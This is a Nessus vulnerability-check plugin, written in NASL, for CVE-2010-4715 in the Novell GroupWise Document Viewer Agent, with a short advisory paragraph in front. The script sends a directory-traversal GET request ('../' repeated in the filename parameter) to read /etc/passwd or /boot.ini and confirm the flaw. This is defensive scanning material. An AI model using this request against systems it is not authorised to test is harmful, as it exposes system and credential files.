The installed version of GroupWise Document Viewer agent fails to perform sufficient validation on a user specified file name supplied to ‘filename’ parameter before returning the contents of the file.
By supplying directory traversal strings such as ‘…/’ in a specially crafted ‘GET’ request, it may be possible for a remote, unauthenticated attacker to read arbitrary files from the remote system.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(50690);
script_version("1.21");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_cve_id("CVE-2010-4715");
script_bugtraq_id(44732);
script_xref(name:"Secunia", value:"40820");
script_name(english:"Novell GroupWise Document Viewer Agent Arbitrary File Download");
script_summary(english:"Tries to read a local file");
script_set_attribute(attribute:"synopsis", value:"The remote web server is susceptible to a directory traversal attack.");
script_set_attribute(
attribute:"description",value:
"The installed version of GroupWise Document Viewer agent fails to
perform sufficient validation on a user specified file name supplied
to 'filename' parameter before returning the contents of the file.
By supplying directory traversal strings such as '../' in a specially
crafted 'GET' request, it may be possible for a remote, unauthenticated
attacker to read arbitrary files from the remote system.");
script_set_attribute(attribute:"see_also", value:"https://support.microfocus.com/kb/doc.php?id=7007156");
script_set_attribute(attribute:"solution", value:"Apply the 8.02 Hot Patch 1 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"d2_elliot_name", value:"Novell GroupWise 8 WebAccess File Disclosure");
script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
script_set_attribute(attribute:"canvas_package", value:'D2ExploitPack');
script_set_attribute(attribute:"vuln_publication_date", value:"2010/11/04");
script_set_attribute(attribute:"patch_publication_date", value:"2010/11/04");
script_set_attribute(attribute:"plugin_publication_date", value:"2010/11/23");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2010-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("groupwise_dva_accessible.nasl", "os_fingerprint.nasl");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 7440, 7439);
script_require_keys("www/groupwise-dva");
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");
port = get_http_port(default:7440, embedded:TRUE);
install = get_install_from_kb(appname:'groupwise-dva', port:port, exit_on_fail:TRUE);
# Try to retrieve a local file.
os = get_kb_item("Host/OS");
if (os)
{
if ("Windows" >< os) file = '/boot.ini';
else file = '/etc/passwd';
files = make_list(file);
}
else files = make_list('/etc/passwd', '/boot.ini');
file_pats = make_array();
file_pats['/etc/passwd'] = "root:.*:0:[01]:";
file_pats['/boot.ini'] = "\[boot loader\]";
foreach file (files)
{
url = install["dir"] + "/log?filename=" +
crap(data:"../", length:3*8) + '..' +
file ;
res = http_send_recv3(method:"GET", item:url, port:port,exit_on_fail:TRUE);
if(res[0] =~ '^HTTP/1\\.[01] +401 ')
exit (1, "Authentication is required to access the remote web server on port "+ port +".");
if (res[2] && egrep(pattern:file_pats[file], string:res[2]))
{
if (report_verbosity > 0)
{
report = get_vuln_report(items:url, port:port);
if (report_verbosity > 1)
{
res[2] = data_protection::redact_etc_passwd(output:res[2]);
report += '\n' +
"Here are the contents : " + '\n\n' +
crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
res[2] + '\n' +
crap(data:"-" , length:30) + " snip " + crap(data:"-", length:30) + '\n' ;
}
security_hole(port:port, extra:report);
}
else security_hole(port:port);
exit(0);
}
}
exit(0,"The GroupWise Document Viewer Agent listening on port "+ port + " is not affected.");